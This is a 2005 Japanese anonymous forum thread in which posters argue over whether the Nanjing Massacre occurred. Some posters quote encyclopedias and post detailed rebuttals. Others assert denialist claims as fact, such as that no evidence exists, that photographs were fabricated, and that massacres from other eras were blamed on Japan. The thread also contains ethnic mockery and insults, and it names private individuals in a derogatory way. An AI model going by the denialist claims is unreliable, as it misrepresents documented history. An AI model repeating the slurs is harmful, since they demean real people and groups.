「悪魔の証明」を用いた論者は、その時点で議論に負けたようなもの。

733 :名無的発言者:05/03/06 23:06:09
>>732
悪魔の証明とは
「ない」ことを証明することを悪魔の証明という。
「有ることの証明」は、なにかひとつ証拠を出せばおわりだが、無いことの証明は事実上不可能である。だって全ての可能性、場所を調べないとそんなことは言えないし、まだ探し漏れがあるかもしれない。論敵からはそこを突かれる。
だから一般的に立証責任は「ある」と主張する肯定側が負う。そして証明できなければ無いものと見なされる。「推定無罪の原則」がそれに当たる。

ほんとに話にならない・・・
30万の殺人事件から1つの証拠も出てないのに・・・
日本語覚えたてなら仕方ないか・・・

734 :朝日捏造:05/03/06 23:10:06
椙山女大の川崎サン、アナタ約束を破りましたねェ・・・
あれほど南京大虐殺否定論者を論破してくださいといったのに・・
お気の毒ですが貴方には報いを受けてもらわなければなりません。
そんなに黙っているのがお好きなら、ずっと黙っていればよろしいでしょう!
弁解しても駄目です
ノド━━━━━━━━━━━━━━━━━━━━━ン!!!!!!!!!!!!!!!!!!!!!!!!!
          _ −  ̄ − ̄ − _ 
          |               | 
         |____ ASA____ | 
         |____________ | 
       /____________\ 
        _|」    / |   | \    |」_ 
       ( d    /   o| ∩ |o   \   b ) 
       (_]  \_ / (  )\_/   [ _)  
         |   _    __`´__    _  |   
        |   | | ̄| ̄| ̄| ̄| ̄| ̄| |  |   
        |   | ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄|  | 
         |   ヽ┬┬┬┬┬┬┬ ノ   | 
         \_  ̄ ̄ ̄ ̄ ̄ ̄ ̄  /_ 
        / ̄\ ̄ ̄ ̄――― ̄ ̄ ̄ /| \ 
      , ┤    ト、 /   \    / |  \ 
     |  \_/  ヽ      \ /  |   \ 
     |   __( ̄  |       /    |   < 
     |    __)_ノ \    /      |    / 
     ヽ___) ノ    \/       |   / 


735 :名無的発言者:05/03/06 23:18:02
スカパーのちゃんねる桜も、よろしくです。。

番組の一部動画ファイルリンクまとめ ↓
http://jbbs.livedoor.jp/bbs/read.cgi/movie/5312/1108555541/92-93

南京大虐殺証拠写真検証-東中野修道記者会見、

百人斬り訴訟関連会見動画、

チャンネル桜の視聴者らによるNHK朝日問題についての討論特集や

人権擁護法(売国奴の野中、古賀が立案者)についてその脅威を指摘している部分などなど。

朝鮮特集の回でNaverEnjoyKorea(日韓翻訳掲示板)とハングル板の住人が出演している動画。

韓国整形大統領の基地外発言や竹島に関する日本の害務省首脳基地外発言をぶった斬りしてる動画もあり。

736 :名無的発言者:05/03/06 23:41:10
>>729
>>730の動画を見てみな。興味深く見れると思うよ。
デーブが自爆して投降しているよ。

デーブ(全ての証拠とされた写真は偽物であったとの講義を受けて後)
「外国の2人の記者がすぐぅ南京に入って、何で写真、あれだけの遺体ですので、
 とても処理する余裕もないし、だったらいっぱいあるはずなんですけど、
 何で写真とかで押さえなかったんですか?」

東中野
「写真は、戦闘の死体の写真は残しております。スチール記者が・・・失礼、
 ガーデン記者が残しております。それは戦闘の死体です。」

デーブ
「ですよね。だから大虐殺であれば、それは当然、写真撮って、
 広く、写真を撮りたいわけです。でもそれがないわけですよね。」

東中野
「ないんです。」

デーブ
「じゃぁ・・・、なかった・・・。」
(複数回小さく頷く)

27分14秒付近

737 :732:05/03/06 23:57:52
だからさ、俺は>>729が「悪魔の証明」である、と言ってるんだが。
もしかして、>>729氏本人と間違えられたのかな?
まぎらわしくて失礼。

738 :732:05/03/06 23:59:03
アンカー付け忘れた。
>>737>>733さん宛て。

739 :名無的発言者:05/03/07 00:15:35
多分>>729氏があまりにも馬鹿だから悪魔の証明をわからないだろうと思い説明したつもり

わかりずらくてスマン

740 :名無的発言者:05/03/07 00:21:11
「NHKと朝日が手打ち。その時2ちゃんねらーは?」
http://society3.2ch.net/test/read.cgi/soc/1110119031/l50

こっちもよろしく。

741 :名無的発言者:05/03/07 10:04:27
南京大虐殺
ナンキンだいぎゃくさつ

日中戦争で南京占領に際し日本軍によって中国軍民に加えられた
大規模な残虐行為。1937年(昭和12)8月,日中戦争は華北から華中
に拡大,日本軍は上海で中国軍の激しい抗戦に直面し,大きな損害
を被った。11月上旬ようやく中国軍を退却させると,中支那方面
軍(軍司令官松井石根大将)は,指揮下の上海派遣軍(軍司令官朝香
宮鳩彦王中将)と第10軍(軍司令官柳川平助中将)を,与えられてい
た任務を逸脱して国民政府の首都南京に向かって急進撃させた。上
海戦で疲労し,凱旋の期待を裏切られた日本軍兵士は自暴自棄とな
り,補給がともなわず現地徴発に頼ったこと,中国侮蔑感情や戦友
の仇を討つという郷党意識にとらわれていたことなども加わって,
南京への進撃途上ですでに略奪・強姦・虐殺・放火などの非行が常態化
する状況となった。12月13日,南京占領に際しては,17日の入城式
に備え,徹底的な掃討を行い,投降兵・捕虜を長江沿岸などで大量に
処刑し,多数の一般市民をその巻添えにし,略奪・強姦・放火を重ね
た。さらに12月22日,佐々木到一少将が城内粛清委員長に就任,中
国兵の狩出しと処刑を続け,38年2月初めに及んだ。犠牲者数につい
て中国側の公式見解は30万人とするが,戦闘行為による戦死者を除
き,上海から南京への進撃途上から38年2月初めまでの期間をとれ
ば,10数万人から20万人前後に達するとみられる。この事件は〈《
シカゴ・デイリー・ニューズ》〉(1937年12月15日付),〈《ニューヨ
ーク・タイムズ》〉(1937年12月18日付)などによって報道され,国
際的非難を浴びたが,日本では厳重な報道管制を受け,日本国民は
敗戦後の東京裁判によってようやくその事実を知らされた。同裁判
の結果,松井大将が大虐殺の責任者として死刑に処され,南京での
裁判で第6師団長であった谷寿夫中将らが処刑された。                 

(平凡社『世界大百科事典』「南京大虐殺」)

742 :名無的発言者:05/03/07 10:40:43
大谷高校の龍神生一て知ってる?岩本太郎と平野厚志は障害者

743 :名無的発言者:05/03/07 10:47:33
>>731
>>そもそも無かったものを無かったと証明はできません

 まだこんな手垢の付いたウヨの「立証責任」論法を使ってるヤツっていたんだ。
 初心者ウヨか?
 
 

744 :名無的発言者:05/03/07 13:36:42
>>743
「悪魔の証明」もしらん馬鹿サヨか

745 :名無的発言者:05/03/07 14:34:43
ナンキン-だいぎゃくさつ 【南京大虐殺】


日中戦争初期の1937年(昭和12年)に、日本軍が中華民国の首都南京市を占領した際、
中国軍捕虜、敗残兵、便衣兵(ゲリラ。軍服を脱いで一般人に紛れ込んだ兵士)及び便衣
兵と間違われた一般市民を、裁判を伴わずに処刑したとされる事件。
当時の法解釈により、どこまでを「不法殺害」、即ち「虐殺」とするかで意見が分かれており、
大きく分けて『四万人前後説』と『一万数千人以下説』がある。


この定義なら否定派も「あったかも」と言うはず。

746 :名無的発言者:05/03/07 18:09:16
それすらないよ

747 :名無的発言者:05/03/07 18:10:15
>>745
               , -─ - 、
           , - '       _ヽ- 、
         /          _ ,,ハ、\ ヽ、
        , '       _/ 〃  \、ヽ 、
         /  _    /_ /'    ,-- 、l l
       l -=‘ー`r っ'/-─`     ̄`ヾ| ll
       lミヽ| l l | し'  _..ニ、     ,ニ-、 |リ
       lミヽヽ l |/  __/ス._)i゙    ト-ヘ'y′        
        l\\ヽ{  ‐ハ_。rj    ヽ_゚ノ {)
      l   l /⌒ヾ   ,--     ゝ ̄` }            ありえない
      ,′ |ハ (` ヾ            /   ありえない
     ,′  | l ゝ--' 、        0  /           ありえない
     ,′  | l  | l ヽ、       /   ありえない          ありえない
    ,′  ||  | l  | ` −  |  }           メ / )`) )
    ,′    l l  | lyヘ     h. l  l          メ ////ノ
   ,′   , --┴‐:┤ l|  `丶、 ハ、.|  |        メ /ノ )´`´/彡


748 :名無的発言者:05/03/07 18:11:19
ホントにあったんなら素直に認めるよ。
でも証拠が無いんだもん。
免罪は晴らすべきだろ。

749 :名無的発言者:05/03/07 18:14:10
>>748
証拠、たくさんあるじゃない。
あったから有罪になってるんじゃない。
http://academy3.2ch.net/test/read.cgi/china/1109114716/
冤罪だと言うなら、なんで正式に
訴えないの?

750 :名無的発言者:05/03/07 18:22:25
>>749
それでも冤罪なんだよ。
わかるか?

751 :名無的発言者:05/03/07 18:42:31
>>750
左翼は自分の都合のいい資料しか読まないからわからないよきっと。

752 :名無的発言者:05/03/07 18:45:55
痴漢の犯人にでっち上げられたとする。
でっち上げた奴に配慮するより、無理してでも免罪を証明するのが普通。
そしてでっちあげた奴とは戦うのが普通。
俺は免罪は晴らすぞ。

753 :名無的発言者:05/03/07 18:52:13
無実の罪に対して「そんなことはやっていない」と言う → 右傾化

754 :名無的発言者:05/03/07 20:38:35
1 名前: 名無しかましてよかですか? 投稿日: 05/03/07 10:39:21 ID:Ulhw+qEZ
★南京大虐殺を否定する日本の辞書は皆無★
名前: 名無しかましてよかですか?
E-mail:
内容:
南京大虐殺について、ネットでは異端的言説や妄言が垂れ流されて
いますが、フォーマルかつ学術的かつ常識的な記述を代表する
我が国の「辞書」に、南京大虐殺を否定したものはまったく存在しません。
(大辞泉、大辞林、広辞苑の三大辞書を引いてみてもわかるでしょう)
これはいわゆる否定論なるものが実のところ学術的なレベルで全く問題に
されていないことを意味します。


5 名前: 名無しかましてよかですか? 投稿日: 05/03/07 17:38:49 ID:p7969Yvl
さすがに辞書にはいい加減なこと書けないってことだろ

ナンキン‐だいぎゃくさつ【南京大虐殺】
-----------------------------------
日中戦争初期の昭和一二年(一九三七)、南京を占領した日本軍による、
中国軍捕虜や一般市民に対する大規模な略奪・暴行・虐殺事件。

[ 大辞泉 提供:JapanKnowledge

755 :名無的発言者:05/03/07 20:39:06
10 名前: 名無しかましてよかですか? 投稿日: 05/03/07 18:59:55 ID:Y5BbdMhQ
おんりょう をんりやう 0 【▼怨霊】
うらみをいだいて、たたりをなす霊。

[ 大辞泉 提供:JapanKnowledge


怨霊の存在を否定する日本の辞書は皆無。
霊は存在します!

756 :名無的発言者:05/03/07 23:08:04
「怨霊」は概念として存在するので辞書に掲載されていますが、何か?
但し、近代史のタームの場合、史実じゃない物は辞書に掲載されません。
例えば、ローレライが日本を救った事件とかw


757 :名無的発言者:05/03/08 00:13:35
辞書は世上多用される言葉なら無視できないわけで・・
史実だから載せるのとは、ちょっと違う。

おそらく既出の辞書の多くは、「南京事件」という言葉
も登載してないか?
事件か大虐殺かは大きな違いであり、実証なしに大虐殺
などという扇情的な言葉を国家ぐるみで高唱する中国と
いう国のあり方には、非常にグロテスクなものを感じざ
るを得ない。

758 :名無的発言者:05/03/08 00:22:38
高唱してないから。
大虐殺って日本語だから。

759 :名無的発言者:05/03/08 00:53:31
>>734
じゃんずみんさんこんなところに

760 :名無的発言者:05/03/08 01:54:01
良く一兵卒の証言とか、児玉誉士夫の上申書とかが証拠として
引用されるけど、あれも一億層懺悔しちゃった後に、反論できない
状態で書いてる訳で、どこまで真実の証言なんだろう。

辞書とかを含めて、史実として認めることで合意が取れている
状態だから、後は何をどう捏造されても反論しちゃいけない
ことになっている。慰安婦、東海に反論するのもビクビクものだ。
日本の中なのに、どうしてこんなことになっちゃってるのかな。

761 :名無的発言者:05/03/08 05:14:18
>>757
史実じゃないけど辞書に載ってる事件ってありますか?
特に近代史で。
ありませんよね?
というわけで、
辞書に載ってる近代史の事件=史実として記載に足ると認定された事件


762 :名無的発言者:05/03/08 05:31:36
「南京虐殺」とされるものは歴史学ではなく政治学の問題だから、
事実について「証拠」や「証言」をうんぬんするのは意味がないよ。
向こうに合わせて、「研究」よりは「宣伝」に力を入れたほうがいい。

763 :名無的発言者:05/03/08 10:49:01
>>762
軽々しく同意。

764 :名無的発言者:05/03/08 11:21:28
>>756
てかローレライって本当に存在したの?

765 :名無的発言者:05/03/08 13:42:50
>>761
南京大虐殺

766 :名無的発言者:05/03/08 17:47:50
やれやれ、
東中野を信じてる馬鹿なウヨってまだ居たんだな(;´Д`)

767 :名無的発言者:05/03/08 18:15:21
>>766
「あった」というなら何でわざわざ捏造写真なんか作るの?
事実の写真出せば済む事じゃん。

768 :名無的発言者:05/03/08 18:19:30
ないからせっせと作るのさ
今もきっと拙い合成写真とか製造中だろう

769 :名無的発言者:05/03/08 19:50:36
じゅうぐん-いあんふ ―ゐあん― 6 【従軍慰安婦】 
日中戦争や太平洋戦争中、朝鮮などアジアから「女子挺身隊」の名で動員され、兵士相手に慰安所で性の相手となることを強要された女性たち。1991年韓国などの元従軍慰安婦から補償と謝罪要求が提起された。


これも全くの間違いだよな
挺身隊の名で動員された慰安婦の例など存在しないし。

770 :名無的発言者:05/03/08 19:51:05
大辞林はサヨク!

771 :名無的発言者:05/03/08 20:08:47
「女子挺身隊」

そもそもこんな部隊ない

772 :靖っさん、北の次は中国で大儲け、。:05/03/08 21:13:04

名前:ミサイル利権と靖国の神さんの財布>112 :05/03/06
http://esashib.hp.infoseek.co.jp/nankin01.htm
沖縄における日本皇軍の横暴は末端の兵隊だけのものではなかった。
 将校の中には「中国大陸や南方の占領地とでも錯覚したのか、軍政をしくなどと、とんでもない放言をする」者もいた。
(浦崎純『消えた沖縄県』四五頁)。
また皇軍将校たちが那覇の「辻遊郭で日夜飲み騒ぐのを見せつけられた住民は……この郷土沖縄がまるで外地同様植民地であって、
あたかも外国軍隊が駐留しているのではないかとの錯覚さえ感じ」た者もいた。
(『沖縄作戦における沖縄島民の行動に関する史実資料』24頁)。
http://members.at.infoseek.co.jp/NankingMassacre/mondai/gyakusatu.html
また日本軍の将校は、監督した沖縄地域の有力者に対して、女学生などの若い女性を自分の愛人にするために差し出すよう要求し、
実際に多くの女性が皇軍将校専属の慰安婦にされた(藤原編著前掲書、二二頁、川名紀美『女も戦争を担った』二一三頁)。


773 :名無的発言者:05/03/09 22:02:09
ていうか、そんなこと言い始めたら日本中の辞書はサヨクってことになる。
この板で辞書にいちゃもんつけてるやつがウヨクってだけの話だろ。

774 :名無的発言者:05/03/09 22:18:38
>>773
>>769は従軍慰安婦に関する記述で明らかに間違っている点を指摘しているわけだが、
サヨはそれを『いちゃもん』と呼ぶのか。

775 :名無的発言者:05/03/09 22:23:01
俺の言ってることは証拠はないけど正しいニダ!!!
反論する奴は右翼ニダ!!

アホだなw

776 :名無的発言者:05/03/09 23:07:33
南京大虐殺を否定するのは非国際人。
http://academy3.2ch.net/test/read.cgi/china/1102930234/l50
★南京虐殺を否定する学者は皆無という事実★
http://academy3.2ch.net/test/read.cgi/china/1101034090/
【惨め】ウヨの南京事件否定本敗訴確定
http://academy3.2ch.net/test/read.cgi/china/1108468051/l50
南京虐殺は裁判で事実として認定されています
http://academy3.2ch.net/test/read.cgi/china/1109114716/l50


もう答えは出てますねw

肯定側は「裁判で肯定された」「学者がみんな肯定している」「国際人として肯定すべき」
等と権威や権力に頼るばかりで、否定派の質問に対して具体的な反論をほとんどしていない。
悪質なのになると「30万人は南京陥落までの数字」と勝手に根拠の無い話を作ってみたり。
(中国政府は『南京で30万人が殺された』。東京裁判では『南京で20万人が殺された』と、
ハッキリ言い切っています)
これでは「南京虐殺は嘘です」「俺たちは反論できないんだ」と言っているのと同じ。


777 :名無的発言者:05/03/10 08:34:48
↑そういう、おまえの意見のどこに中身が?

778 :名無的発言者:05/03/10 12:14:38
【南京事件とは?】

日本軍が一般兵、便衣兵&間違われた一般市民を拘束後、または投降時に不法殺害したとされるのが虐殺内容の主流。
犠牲者数・裁判が無かった事・捕虜資格などが議論対象。
虐殺「とされる」行為が存在した事は、否定派の研究者も認めてる。

数は中間派で4万程度。否定派の研究者で上限二万程度。(主に日本側資料に基づく)
ハーグ規定の解釈に基づき、不法殺害の確証が無いという研究者もいる。

中国共産党の言う「猟奇的で残虐極まりない市民皆殺し行為」に付いては明確な裏付けがない。

国際委員会が認定した「非行」による殺害数は49人。
これは日本軍による組織的な捕虜殺害(不法殺害・虐殺)とは区別される。


●便衣兵の解釈について●
国際法によればゲリラ戦術「非正規戦」を行う勢力であるが、日本軍が南京戦で便衣兵としたのは大半が私服逃亡敗残兵と見られ、武器も手放していた。
武器を隠し持つ一群が居たとの話もある。
いずれにせよ軍服を脱いだ兵士は、一般兵における捕虜資格を喪失する。(ハーグ規定による)


779 :否定派理論:05/03/10 12:15:51
「大虐殺否定理論」 秦教授
日本側の資料(戦闘詳報等)に基づき、30万虐殺を否定。
4万程度。

「不可抗力理論」 板倉氏、偕行社(旧日本陸軍出身者団体)
部隊の収容力や便衣兵の存在など、不可抗力を考慮し数を割り引き。
数千〜二万。

「不法殺害0理論」 東中野教授
ハーグ規定の解釈。
敵の司令官が逃走したとかで、敵兵の権利を全て否定。
便衣兵掃討による一般市民の処刑もOK。

「免責理論」
こちらも向こうも犯罪行為を行ってるので、片側のみが罪に問われる事はない。

-------------------※ここまでは、矛盾しない※-------------------

「行為否定理論」一部2ちゃんねら
事件そのものが存在しない。
戦闘詳報・陣中日誌等の公文書や、学者、偕行社の調査すらも一方的に否定。


780 :名無的発言者:05/03/10 12:17:48
結局、何度やっても

・中共の言う30万大虐殺は無し
・不法殺害事件「とされる」行為はあり

以外の結論にならない話題

781 :名無的発言者:05/03/10 13:47:54
>>779みたいな表がよくコピペされるけど、

>「行為否定理論」一部2ちゃんねら
>事件そのものが存在しない。
>戦闘詳報・陣中日誌等の公文書や、学者、偕行社の調査すらも一方的に否定。

の部分について、
・戦時としては特筆するような事柄ではない
 =事件そのものが存在しない
・捏造疑惑や証拠能力に乏しい類の戦闘詳報などの公文書、
 売国サヨ捏造学者の論を否定
 =戦闘詳報・陣中日誌等の公文書や、学者、偕行社の調査すらも一方的に否定。

みたいにわざと誤読してるヤツがいるのが始末におえない。

782 :名無的発言者:05/03/10 14:18:14
>>781

戦闘詳報や陣中日誌等の公文書を
個人の日誌や証言と共に比較検証して
矛盾点を洗い出した末に
「虐殺(不法殺害)あり」
と結論を出しているのだがな
板倉氏や畝本氏などの否定派研究者でも

中共の言う30万大虐殺とは別だが


783 :名無的発言者:05/03/10 15:11:13
すみません、誰かこれの詳細ご存知ですか?
http://www.japantoday.com/e/?content=news&cat=1&id=329994
Chinese political activists to debate Japanese rightists in Tokyo

中国の反日活動家3人が、日本のウヨク論客と討論のために来日するそうです。
日付は3月19日 6時間の討論だそうです。
日本側からはテレビアナウンサーがでるらしい。

たかじんの番組?


784 :名無的発言者:05/03/11 04:01:57
>>782
その不法虐殺とやらが具体的にどのようなものか知らんが、
このスレでは「中共の言う南京虐殺」の証拠を出すべき。

ちなみに、虐殺=不法殺害=軍人による非戦闘員の殺害、という定義ならば、
中国軍は相当な件数の虐殺を行っているよ。と言うか、戦争自体が不法殺害のやり合っこ。

785 :名無的発言者:05/03/11 04:04:30
>>783
スレが立ってるよ。

【日中】「日本の右翼を教育する絶好の機会」 文藝春秋誌上で日中の知識人らが討論[03/10]
http://news18.2ch.net/test/read.cgi/news4plus/1110446458/

786 :名無的発言者:05/03/11 14:44:34

 南京大虐殺はあったよ。


〜〜〜〜〜
207 :ちく@祖父は海神。:05/03/02 20:43:24 ID:??? ?# >>88 南京大虐殺

548年 東魏の降人侯景、南京(建康)を陥落、徹底的破壊され大虐殺。
589年 隋、陳の南京(建康)を陥落、徹底的破壊。大虐殺。
618年 隋の煬帝、南京(江都)で殺害され、南京大虐殺。
十国五代時代 戦乱で南京(金陵)大虐殺続発。
1273年 元軍、南京(建康)攻略略奪、南京大虐殺。
1368年 朱元璋、南京(金陵)攻略、南京大虐殺。
1645年 清軍、南京乱入略奪、南京大虐殺。
1842年 英軍、南京突入、南京大混乱。 
1853年 太平軍、南京乱入。腐敗清軍南京略奪。
1862年 ウォードの常勝軍、南京(金陵)乱入。南京大虐殺。
1864年 曾國軍、南京乱入。南京大虐殺。
1911年 辛亥革命、南京略奪。
1927年 国民党の国民軍、南京占領。南京事件。
日本のいわゆる南京事件はここに入る。
1949年 中共軍、南京乱入、資本家の財産強奪、国民党員金持ちを大虐殺。

↑これまでに南京事件は16回起きてるわけですが、そのときのエピソードが
全て日本のせいにされてる可能性があります
〜〜〜〜〜




787 :名無的発言者:05/03/12 17:01:41
非戦闘員の誤認による殺害が大虐殺なら、米軍はイラクで大虐殺を行なっている事になる。

788 :名無的発言者:05/03/12 22:24:15
↑南京でのことは、誤認による殺害とゆうより計画的命令の殺害が多かったようです。
これを参考にして↓
http://members.at.infoseek.co.jp/NankingMassacre/mondai/gyakusatu.html


789 :名無的発言者:05/03/12 22:53:50
>>788
『南京事件の核心』の冨澤繁信氏によると、この本に多数登場する第16師団・33連隊の元兵士達には、
立派なアリバイがあるのです。
(一部略)
この本の中でも、33連隊の人たちが言っているのは「安全地帯には入ったことが無い」「外国人にはあっ
                                ^^^^^^^^^^^^^^^^^^^^^^^^^^^^
たことも無い」ということばかりで、彼等の証言する「殺害」は、中国軍敗残兵の掃討についてでした。
この中国兵等は、指揮官は既に逃走し正式に投降して捕虜の資格を得ることができない兵士達であり、
掃討は国際法的に正当な戦闘行為でした。


『安全委員会公文書T-6』
言いかえれば、13日に貴軍が入城したときに我々は安全区内に一般市民のほとんど全体を集めていま
                                ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
したが、同区内には流れ弾による極めてわずかの破壊しかなく、中国兵が全面的退却を行った際にもな
^^^^
んら略奪は見られませんでした。〜中略〜もし市内の日本兵の間でただちに秩序が回復されないならば、
20万の中国市民の多数に餓死者が出ることは避けられないでしょう。

790 :名無的発言者:05/03/12 23:29:47
数千〜数万の不法殺人をやるには命令がなきゃとうてい無理なわけだが。
わざわざそんな面倒なことする理由は?
あった派は答えてください

791 :名無的発言者:05/03/12 23:53:44
>>790
1937年(昭和12)8月,日中戦争は華北から華中に拡大,
日本軍は上海で中国軍の激しい抗戦に直面し,大きな損害を被った。
11月上旬ようやく中国軍を退却させると,中支那方面軍(軍司令官松井
石根大将)は,指揮下の上海派遣軍(軍司令官朝香宮鳩彦王中将)と第10
軍(軍司令官柳川平助中将)を,与えられていた任務を逸脱して国民政
府の首都南京に向かって急進撃させた。上海戦で疲労し,凱旋の期待
を裏切られた日本軍兵士は自暴自棄となり,補給がともなわず現地徴
発に頼ったこと,中国侮蔑感情や戦友の仇を討つという郷党意識にと
らわれていたことなども加わって,南京への進撃途上ですでに略奪・強
姦・虐殺・放火などの非行が常態化する状況となった。12月13日,南京
占領に際しては,17日の入城式に備え,徹底的な掃討を行い,投降兵
・捕虜を長江沿岸などで大量に処刑し,多数の一般市民をその巻添えに
し,略奪・強姦・放火を重ねた。さらに12月22日,佐々木到一少将が城
内粛清委員長に就任,中国兵の狩出しと処刑を続け,38年2月初めに及
んだ。

792 :名無的発言者:05/03/12 23:56:16
まずそれだけの数の人間を殺すには
綿密な計画と、その壮大な大虐殺を実行するための膨大な「武器」と、それを調達する金、
さらにそれを行う「目的」が必要。
あまりにも不自然な点が多すぎる。

793 :名無的発言者:05/03/12 23:57:01
ていうか、中国板見りゃわかるじゃない。
今でも面白半分に虐殺くらい平気でやりそうな嫌中が
ウヨウヨいるじゃないの。
生きた証拠だよね。

794 :名無的発言者:05/03/13 01:41:46
>>793
自分が面白半分に虐殺くらい平気でできるからといって、
人もできると思ってもらっては困るな。

795 :名無的発言者:05/03/13 02:11:05
>>794
ワロス

796 :名無的発言者:05/03/13 03:40:21
>>791
じゃあ、これを否定してみてくれ
南京に入城する日本軍に拍手(その1)
://www.history.gr.jp/nanking/fukei_dec13-01.html
南京に入城する日本軍に拍手(その2)
://www.history.gr.jp/nanking/fukei_dec13-02.html

797 :名無的発言者:05/03/13 14:37:33
★商法改正で日本企業が外資の餌食に★
http://money3.2ch.net/test/read.cgi/eco/1092540870/l50

『日本の構造改革は米国のシナリオ』

クリントンも、日本にビッグバンをやらせ、また、ブッシュも、
2001年の日米投資イニチアティブに代表 されるように、
日本のマネーと技術力を持つメーカーを支配することを
主眼とした戦略を持つ。
簡単に 説明すると、米国は日本からの資金を取り入れるのに
二つのパイプを用意したいのである。
一つは、 米国債を買わせる。
もう一つは、民間銀行を押さえ、そこを経由して、
ジャパンマネーを取り込む戦略 である。
そして、優れた技術力を持つメーカーを安く手に入れる戦略を持っている。
つまり、日本の大銀行 を窮地に押し込み、それを手に入れ、
さらに所有している株を安く放出させ、
それを取るのが、米国の戦略 であり、
小泉政権は、それに全面的に協力している。

なおかつ、株式を購入する資金も節約したい米国勢力のために、株式交換による企業買収も認めた
のである。2006年の春から、株式交換で、米国企業は、日本企業を合併・買収することができる。
毎年、米国から出されていた「年次改革要望書」は、まさしく、日本の政治・行政から見ると、お上の
声であり、それに従順にしたがってきたのが、日本の構造改革である。




798 :名無的発言者:05/03/13 23:43:52
>>776
>肯定側は「裁判で肯定された」「学者がみんな肯定している」「国際人として肯定すべき」
>等と権威や権力に頼るばかりで、否定派の質問に対して具体的な反論をほとんどしていない。

分かりました。では具体的な反論を貼らせて頂きます。

799 :名無的発言者:05/03/13 23:44:33
中国政府は南京大虐殺を捏造して賠償金をせしめようとしている!
→中国政府は1972年に日中共同声明で請求権を放棄しており、請求した事実はありません。
個人的に求めた中国人はいますが、個人に賠償請求権はないという判例が出ています。

虐殺数30万人説には信憑性が無い!
→日本の主流的な説では犠牲者十数万です。30万説を唱えているわけではありません。

当時の南京の人口は20万だったんだ!30万も殺せるはずが無い!
→20万は南京全体ではなく、南京安全区という狭い地域の、それも推定人口に過ぎません。
後に25万に訂正されていますし、そもそも人口には虐殺された兵士が含まれません。
また安全区の外に、市民が実際に数多く残っていた記録があります。
この理屈では30万虐殺説すら反証できないのです。
http://www.geocities.jp/yu77799/jinkou.html

虐殺どころか南京の治安は急速に回復していた。その証拠に、20万だった南京人口が5万人も回復している!
→上記の「安全区」推定人口の訂正を、人口が増えたと曲解しているだけです。
そもそも本当に治安が回復していたら、難民区から人々が帰還して難民区人口は減るはずですが、
実際には日本軍の凶行を怖れて出て行こうとしなかったことを安全区委員会は記録しています。
http://www.geocities.jp/yu77799/tian.html

とにかく!人口が激減していないのだから10万単位の虐殺は無かったはずだ!
→南京はもともと百万都市です。日本軍が南京に向かい始めると富裕層をはじめかなりの数が避難し、
陥落直前には40〜60数万であったとされています。兵士は含んでいません。
これが、市来義道編『南京』 に掲載の人口統計(警察庁及市政府調査)によれば、
1938年8月には30万ほどになってしまうのです。激減していると言えます。

数日でそんなに殺せるものか!
→二ヶ月です(初期の1〜2週間にかなりが集中していましたが)。

800 :名無的発言者:05/03/13 23:45:02
もし被害者が数万人程度だったとしたら、虐殺と言えるほどの事件ではない!
→歴史上、虐殺と通称される事件の犠牲者数を挙げてみると……
カチンの森の大虐殺は2万人、オラドゥール・スゥル・グランヌ村大虐殺642人、
ソンミ村虐殺事件504人、アムリトサルの大虐殺397人、ボストン虐殺事件に至っては5人。
「虐殺」はもちろん、「大」虐殺さえ数百人規模の事件名に使われているのです。

南京大虐殺の物証(死体)は全く出ていない!
→南京大屠殺記念館は死体が埋まっている場所に立っており、埋まったままの姿を展示しています。
歴史修正主義者の言う「○○がないのはおかしい」は、大概その○○が実際にはあります。

それらは文革で殺された人の骨を、南京虐殺の遺骨だと言い張っているのだ!
→色んな本やスレを読んだのですが、この話のソースを見たことがありません。

まあ一回その骨を科学的に鑑定すればわかる話だがね。いつの時代のものかw
→はい。科学的測定が行われており、確かに当時のものであると結果が出ています。

十万単位の人を、核兵器を使わずに通常兵器で殺せるはずが無い!そんな弾薬があるか!
→例:ルワンダの大虐殺では3ヶ月で100万殺されています。凶器はナタ、スコップ、棒きれなどです。
旧日本軍では歩兵1人が、120発の弾丸を携行していました。南京攻略軍を7万としても840万発。
もちろん他にも機関銃や刀などの武器がありました。物理的に可能かというと可能としか言えません。

遺体を日本軍だけで処理するのは不可能!
→全ての遺体を日本軍が処理しきれた、なんて誰が言ったのでしょうか。
南京で日本軍が処理した死体は多数(一説では15万)ですが、別の団体も埋葬しています。
宗善堂11万2267、紅卍字会4万3123、赤十字会南京分会2万2683、南京維新政府約6000、同善堂7000余、
埋葬組約7000、回民埋葬隊400余、等々と日本軍と合計すれば軽く30万を超えます。
ただし、戦死者が含まれたり、浅く埋めすぎたものを再埋葬したものがあるので、イコール虐殺数ではありません。

801 :名無的発言者:05/03/13 23:45:28
中国政府は日本側の現地調査の申し入れを拒絶し続けている。極めて怪しい!
→これもネットではよく言われるのですが、元ネタが分かりません。いつ誰がどのような形で申し入れて
拒否されたのでしょう? ちなみに、少なくとも南京事件調査研究会は現地に複数回行っているはずです。

同一の事件に対する複数の証言がまったくないのは不自然だ!
→李秀英事件、夏淑琴事件、幕府山事件など証言・記録が複数ある事件は幾つもあります。

お前らが言う虐殺の証言ってのは、又聞きしかないんかい!
→虐殺を「直接目撃した」「自分がやった」証言・記録が数多あります。
『私が見た南京事件』、『南京大虐殺を記録した皇軍兵士たち』、『南京大虐殺の証明』などをどうぞ。

当時南京には外国人ジャーナリストがいたが、海外の新聞やメディアがまるっきり虐殺を報じていない!
南京大虐殺という虚構が主張され始めたのは、1946年の東京裁判が最初なのだ!
→最もよくある大嘘のひとつ。1937年当時からスクープされています。
http://www5.tok2.com/home/JOHNVOID/nakkin_faq_ans16.html

アメリカは日本を仮想敵国にしていたから、公正ではない!ダーディンらの記事も中国寄りのものだ!
→「蒋介石総統のおそまつな戦術、指揮官の逃亡首都陥落を招く」という見出しの記事も中国寄りですか?

ダーディンの記事には、日本兵が持っているはずのない拳銃を撃つ場面が出てくる!
→軽機関銃部隊はピストル装備。それ以外でも敵から奪って所持していた日本兵が相当いました。

被害者である中国側が、当時はまったく南京虐殺を糾弾していない。虐殺が後世の捏造である証拠だ!
→こんなに糾弾しています。
http://www.geocities.jp/yu77799/chuugoku.html
http://www.geocities.jp/yu77799/nicchuusensou/gunshu.html

虐殺があったのなら、国際連盟で非難されたはずだ!だがそんな記録は皆無!
→1938年2月1日付『国際連盟理事会第六会議議事録』 に載っています。すぐ上のリンク参照。

802 :名無的発言者:05/03/13 23:46:29
外国の外交文書に南京事件に関する記述がない!
